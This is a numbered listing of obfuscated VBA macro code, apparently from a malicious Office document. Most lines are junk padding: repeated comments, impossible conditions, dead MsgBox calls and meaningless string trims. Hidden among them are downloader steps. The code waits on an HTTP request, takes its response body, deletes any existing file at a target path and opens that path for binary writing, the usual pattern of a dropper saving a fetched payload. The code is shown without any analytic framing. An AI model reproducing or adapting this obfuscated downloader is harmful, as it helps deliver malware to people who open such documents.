  576. If Len("PGHJSWWQ3512") = Len("QLKTMMWK") Then
  577. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  578.       MsgBox ("ERROR !!!")
  579. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  580. End If
  581. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  582. VESJLSLT = "           GPLOME               "
  583. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  584.  
  585. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  586. If 894915 = 894915 + 1 Then End
  587. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  588. If 5797 < 51 Then
  589. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  590.        MsgBox ("LPJXODKT34")
  591. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  592. End If
  593. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  594. If Len("LGHDEDAR6648") = Len("DIHLXKGK") Then
  595. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  596.       MsgBox ("ERROR !!!")
  597. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  598. End If
  599. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  600. DLKMVCTD = LTrim(VESJLSLT)
  601. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  602.  
  603. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  604. If 374991 = 374991 + 1 Then End
  605. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  606. If 3646 < 92 Then
  607. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  608.        MsgBox ("OQSDOLRX43")
  609. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  610. End If
  611. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  612. If Len("UUKEBXYC4496") = Len("OPWHUWTT") Then
  613. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  614.       MsgBox ("ERROR !!!")
  615. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  616. End If
  617. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  618. GRYGIWGI = RTrim(DLKMVCTD)
  619. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  620.  
  621. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  622.  
  623. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  624. If 928338 = 928338 + 1 Then End
  625. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  626. If 6132 < 64 Then
  627. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  628.        MsgBox ("BCQKJYDM46")
  629. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  630. End If
  631. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  632. If Len("BZPOQYXL1395") = Len("MWIDRQPU") Then
  633. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  634.       MsgBox ("ERROR !!!")
  635. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  636. End If
  637. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  638.    DoEvents
  639. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  640.  
  641. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  642. Dim TTROATQF, EJIWBUKD, HXMVAMMC As String
  643. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  644. If 352833 = 352833 + 1 Then End
  645. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  646. If 7228 < 37 Then
  647. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  648.        MsgBox ("QZBQRGZU42")
  649. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  650. End If
  651. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  652. If Len("ZDALTVKG1573") = Len("EJRYFXJW") Then
  653. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  654.       MsgBox ("ERROR !!!")
  655. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  656. End If
  657. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  658. TTROATQF = "           FAEFAR               "
  659. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  660.  
  661. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  662. If 527877 = 527877 + 1 Then End
  663. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  664. If 2927 < 47 Then
  665. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  666.        MsgBox ("BLRMFVYL29")
  667. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  668. End If
  669. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  670. If Len("BVEQIVHK5281") = Len("MJAJARRT") Then
  671. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  672.       MsgBox ("ERROR !!!")
  673. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  674. End If
  675. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  676. EJIWBUKD = LTrim(TTROATQF)
  677. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  678.  
  679. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  680. If 434931 = 434931 + 1 Then End
  681. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  682. If 4246 < 97 Then
  683. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  684.        MsgBox ("DGSDQFAG58")
  685. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  686. End If
  687. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  688. If Len("QOKZNJEH5996") = Len("DDWHOGZX") Then
  689. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  690.       MsgBox ("ERROR !!!")
  691. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  692. End If
  693. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  694. HXMVAMMC = RTrim(EJIWBUKD)
  695. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  696.  
  697. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  698.  
  699. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  700. If 444271 = 444271 + 1 Then End
  701. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  702. If 1281 < 49 Then
  703. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  704.        MsgBox ("XIDIZEDD23")
  705. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  706. End If
  707. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  708. If Len("CDSBWECS5554") = Len("TALMLMIQ") Then
  709. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  710.       MsgBox ("ERROR !!!")
  711. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  712. End If
  713. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  714.    Loop
  715. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  716.  
  717. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  718.  
  719. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  720. Dim PNSMORQS, YACYROIF, AZUKCDYG As String
  721. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  722. If 366191 = 366191 + 1 Then End
  723. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  724. If 1255 < 67 Then
  725. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  726.        MsgBox ("OOXCDFYP28")
  727. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  728. End If
  729. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  730. If Len("LOLXBRQN4428") = Len("WDCOIEPU") Then
  731. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  732.       MsgBox ("ERROR !!!")
  733. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  734. End If
  735. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  736. PNSMORQS = "           QAWGOO               "
  737. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  738.  
  739. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  740. YACYROIF = LTrim(PNSMORQS)
  741. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  742. If 942995 = 942995 + 1 Then End
  743. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  744. If 6268 < 65 Then
  745. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  746.        MsgBox ("OPLUEOLO48")
  747. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  748. End If
  749. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  750. If Len("VPZDAMAL7928") = Len("KEALWNGU") Then
  751. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  752.       MsgBox ("ERROR !!!")
  753. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  754. End If
  755. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  756. AZUKCDYG = RTrim(YACYROIF)
  757. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  758.  
  759. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  760.  
  761. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  762. If 411315 = 411315 + 1 Then End
  763. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  764. If 7893 < 44 Then
  765. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  766.        MsgBox ("FULOCRMG33")
  767. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  768. End If
  769. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  770. If Len("TKWHBDPV8654") = Len("YWVEUSPR") Then
  771. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  772.       MsgBox ("ERROR !!!")
  773. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  774. End If
  775. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  776.    APXADSKJDFK = JGNEZQPKOWX.RESPONSEBODY
  777. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  778.  
  779. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  780.  
  781. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  782. Dim DVQQDAFL, YGZXRIEX, SQPJJZMF As String
  783. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  784. If 333359 = 333359 + 1 Then End
  785. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  786. If 9281 < 95 Then
  787. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  788.        MsgBox ("AIZXOFFS77")
  789. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  790. End If
  791. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  792. If Len("HIQRYNXC1932") = Len("PAPIBTOQ") Then
  793. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  794.       MsgBox ("ERROR !!!")
  795. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  796. End If
  797. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  798. DVQQDAFL = "           IEOYGS               "
  799. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  800.  
  801. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  802. If 498313 = 498313 + 1 Then End
  803. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  804. If 4889 < 79 Then
  805. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  806.        MsgBox ("HVUULBLB56")
  807. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  808. End If
  809. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  810. If Len("DLDXOAMN5649") = Len("AAULFDWW") Then
  811. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  812.       MsgBox ("ERROR !!!")
  813. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  814. End If
  815. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  816. YGZXRIEX = LTrim(DVQQDAFL)
  817. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  818.  
  819. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  820. If 185434 = 185434 + 1 Then End
  821. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  822. If 1496 < 32 Then
  823. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  824.        MsgBox ("FIFEXCKX53")
  825. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  826. End If
  827. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  828. If Len("WVJZTHFF4669") = Len("ESBCEUVF") Then
  829. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  830.       MsgBox ("ERROR !!!")
  831. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  832. End If
  833. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  834. SQPJJZMF = RTrim(YGZXRIEX)
  835. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  836.  
  837. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  838.  
  839. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  840. If 497514 = 497514 + 1 Then End
  841. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  842. If 4882 < 14 Then
  843. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  844.        MsgBox ("HBRKACEI56")
  845. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  846. End If
  847. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  848. If Len("DLPIKBRI5732") = Len("GVDMNCRH") Then
  849. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  850.       MsgBox ("ERROR !!!")
  851. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  852. End If
  853. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  854.    LSCOYILUQNP = FreeFile
  855. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  856.  
  857. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  858.    If Dir(PAUINJYOMZI) <> "" Then Kill PAUINJYOMZI
  859. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  860.    Open PAUINJYOMZI For Binary As #LSCOYILUQNP
  861. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  862. Dim YOYMAPIG, OWMGQUKO, CQNKHLEJ As String
  863. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  864. If 398266 = 398266 + 1 Then End
  865. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  866. If 1731 < 35 Then
  867. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  868.        MsgBox ("KSDOZHUK18")
  869. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  870. End If
  871. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  872. If Len("LJSNXHJJ4194") = Len("DOPRJMTT") Then
  873. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  874.       MsgBox ("ERROR !!!")
